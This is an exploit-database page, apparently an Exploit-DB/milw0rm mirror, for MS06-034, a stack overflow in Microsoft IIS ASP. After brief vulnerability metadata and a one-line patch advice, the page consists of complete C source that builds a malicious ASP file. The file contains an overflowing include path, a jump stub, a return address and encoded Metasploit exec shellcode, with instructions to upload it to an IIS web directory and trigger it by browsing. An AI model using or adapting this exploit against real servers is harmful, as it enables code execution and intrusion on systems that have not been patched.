header-logo
Suggest Exploit
vendor:
Windows 2000 Server SP4
by:
cocoruder
9,3
CVSS
HIGH
Stack Overflow
119
CWE
Product Name: Windows 2000 Server SP4
Affected Version From: Windows 2000 Server SP4+IIS5.0
Affected Version To: Windows 2003 Server+IIS6.0
Patch Exists: YES
Related CWE: CVE-2006-3439
CPE: o:microsoft:windows_2000_server:sp4
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows, Linux, Mac
2006

Microsoft IIS ASP Stack Overflow Exploit(MS06-034)

This exploit is a stack overflow vulnerability in Microsoft IIS ASP. It allows an attacker to execute arbitrary code on the vulnerable system by uploading a malicious ASP file. The exploit was tested on Windows 2000 Server SP4+IIS5.0 and Windows 2003 Server+IIS6.0.

Mitigation:

Apply the patch provided by Microsoft for this vulnerability.
Source

Exploit-DB raw data:

#include <stdio.h>
#include <windows.h>

/***********************************************************************
Microsoft IIS ASP Stack Overflow Exploit(MS06-034)

by cocoruder(frankruder_at_hotmail.com),2006/7/13
page:http://ruder.cdut.net/default.asp

successfully test on Windows 2000 Server SP4+IIS5.0,
On Windows 2003 Server+IIS6.0,because the new SEH protection mechanisms,
you should set the new fs:[0]->hander flexibility,this need some luck.

usage:
upload the "exploit2000.asp" to IIS web directory,use web
browser to visit it,then the shellcode will execute.

************************************************************************/




//include asp filename length=10ch>104h
unsigned char asp_include_header[]=
"<!--#include file=\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.asp\"-->";

//jmp 8
unsigned char code_jmp8[]=
"\xEB\x06\x90\x90";

//jmp ebx address
unsigned char addr_jmp_ebx[]=
"\x66\x4A\xE6\x77";

// shellcode !! Must be free of Unicode null terminators (0x0000) !!
// win32_exec - EXITFUNC=process CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
unsigned char shellcode[]=
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34"
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x34\x4e\x43\x4b\x48\x4e\x47"
"\x45\x30\x4a\x37\x41\x30\x4f\x4e\x4b\x38\x4f\x34\x4a\x51\x4b\x48"
"\x4f\x55\x42\x42\x41\x30\x4b\x4e\x49\x44\x4b\x58\x46\x43\x4b\x58"
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x59\x4e\x4a\x46\x48\x42\x4c"
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x43\x46\x45\x46\x42\x46\x50\x45\x37\x45\x4e\x4b\x38"
"\x4f\x45\x46\x42\x41\x50\x4b\x4e\x48\x36\x4b\x58\x4e\x30\x4b\x54"
"\x4b\x38\x4f\x35\x4e\x51\x41\x50\x4b\x4e\x4b\x48\x4e\x41\x4b\x48"
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x42\x46\x50\x43\x4c\x41\x53"
"\x42\x4c\x46\x36\x4b\x58\x42\x54\x42\x53\x45\x48\x42\x4c\x4a\x37"
"\x4e\x30\x4b\x48\x42\x34\x4e\x50\x4b\x58\x42\x57\x4e\x51\x4d\x4a"
"\x4b\x48\x4a\x46\x4a\x50\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b"
"\x42\x30\x42\x50\x42\x30\x4b\x38\x4a\x56\x4e\x43\x4f\x35\x41\x53"
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x37"
"\x42\x35\x4a\x36\x50\x47\x4a\x4d\x44\x4e\x43\x47\x4a\x36\x4a\x49"
"\x50\x4f\x4c\x48\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46"
"\x4e\x46\x43\x46\x42\x30\x5a";



void main(void)
{
FILE *fp=NULL;
int i;

printf("[+] Creating file...exploit.asp\n");


if ((fp=fopen("exploit2000.asp","wb"))==NULL)
{
printf("fopen error!\n");
return;
}


fwrite(asp_include_header,sizeof(asp_include_header)-1,1,fp);

//fill
for (i=0;i<0x135;i++)
{
fwrite("\x41",1,1,fp);
}

fwrite(code_jmp8,4,1,fp);

fwrite(addr_jmp_ebx,4,1,fp);

fwrite(shellcode,sizeof(shellcode)-1,1,fp);

//fill
for (i=0;i<0x1500;i++)
{
fwrite("\x41",1,1,fp);
}

fclose(fp);


printf("[+] Exploit file has been successfully built.\n");

}

# milw0rm.com [2006-07-21]